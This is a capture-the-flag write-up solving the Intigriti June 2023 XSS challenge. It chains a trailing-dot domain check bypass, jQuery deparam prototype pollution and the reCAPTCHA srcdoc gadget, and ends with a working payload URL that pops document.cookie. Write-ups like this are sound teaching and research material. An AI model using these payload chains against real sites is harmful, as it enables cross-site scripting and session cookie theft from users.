# Intigrity June XSS challenge ## Bugs ### Incomplete domain check There is a check to find from which domain the user is accessing the site. The intention of the code is that anything besides `localhost` disables `recaptcha`. However if we append a dot to the url (`challenge-0623.intigrity.io.`) we can bypass this check as well. ```javascript if (document.domain === 'challenge-0623.intigriti.io') { // This path is not taken window.recaptcha = false } if (document.domain === 'localhost') { // neither is this path window.recaptcha = true } ``` This leaves `window.recaptcha` unset, which we'll be able to abuse in the next step of the exploit. Since the cookie with the flag is set on the client-side, the extra dot in the domain does not prevent us from leaking the flag. **Current payload:** ``` https://challenge-0623.intigriti.io./challenge/index.html ?name=test ``` ### Prototype pollution in JQuery 2.2.4 The version of JQuery that was used in the challenge is quite old. Thus the first thing I did was google for "JQuery 2.2.4 deparam prototype pollution", which lead me [to this proof of concept][deparam]: ```javascript= <script src="https://<example>/jquery-2.2.4.js"></script> <script src="https://<example>/jquery-deparam.js"></script> <script> $.deparam(location.search.slice(1)) </script> ``` The provided example input works flawlessly on the challenge site. ``` ?__proto__[test]=test ``` **Current payload:** ``` https://challenge-0623.intigriti.io./challenge/index.html ?__proto__[recaptcha]=true &name=test ``` ## Solution We now have all the bugs we need, we just need to glue them together into a nice XSS payload. For that, we'll have to somehow turn our prototype pollution into an XSS. ### reCAPTCHA as a gadget I got some great CTF advice recently: > If a challenge contains something weird and unnecessary, it's probably weird and necessary. With that in mind, lets dive a bit deeper into the reCAPTCHA code. Why is it even here? As it turns out, Google reCAPTCHA is actually a [known gadget to go from prototype pollution to XSS][reCAPTCHA]. We just need to match the vulnerable example code: ```javascript= <script src="https://www.google.com/recaptcha/api.js" async defer></script> <script> Object.prototype.srcdoc=['<script>alert(1)<\/script>'] </script> <div class="g-recaptcha" data-sitekey="your-site-key"/> ``` The only piece of the puzzle we're still missing at this point is the "g-recaptcha" `div`, so let's see if we can set that up next. **Current payload:** ``` https://challenge-0623.intigriti.io./challenge/index.html ?__proto__[recaptcha]=true &__proto__[srcdoc[]=%3Cscript%20%3Ealert(1)%3C/script%3E ``` ### Creating a new div We need to create a new HTML element. At first sight you might think we need to bypass the `sanitizer` for this, but actually we don't. The sanitizer allows simple HTML, as long as it doesn't directly lead to code execution. ```javascript modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS ``` For example, adding bold tags is totally fine: https://challenge-0623.intigriti.io/challenge/index.html?name=%3Cb%3EHans%3C/b%3E. So we can jus create a `div`, and we can even set a `class` attribute. Sadly though, we can not set any custom attributes, like `data-sitekey`. Nevertheless, our output is starting to look promising: ![](https://hackmd.io/_uploads/BJbgZy0vn.png) **Current payload:** ``` https://challenge-0623.intigriti.io./challenge/index.html ?__proto__[recaptcha]=true &__proto__[srcdoc[]=%3Cscript%20%3Ealert(1)%3C/script%3E &name=%3Cdiv%20class%3d%22g-recaptcha%22/%3E ``` ### Tying it all together All that's left to do now is to get `sitekey` set to some bogus value. We can just use prototype pollution again here. The actual value doesn't matter for triggering the XSS. **Final payload** ``` https://challenge-0623.intigriti.io./challenge/index.html ?__proto__[recaptcha]=true &__proto__[sitekey]=lmao &__proto__[srcdoc[]=%3Cscript%20%3Ealert(document.cookie)%3C/script%3E &name=%3Cdiv%20class%3d%22g-recaptcha%22/%3E ``` Or as a clickable link: [Click me for the flag!]( https://challenge-0623.intigriti.io./challenge/index.html?__proto__[recaptcha]=true&__proto__[sitekey]=lmao&__proto__[srcdoc][]=%3Cscript%20%3Ealert(document.cookie)%3C/script%3E&name=%3Cdiv%20class%3d%22g-recaptcha%22/%3E) ![](https://hackmd.io/_uploads/ry6kGJRDh.png) [deparam]: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md] [recaptcha]: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/recaptcha.md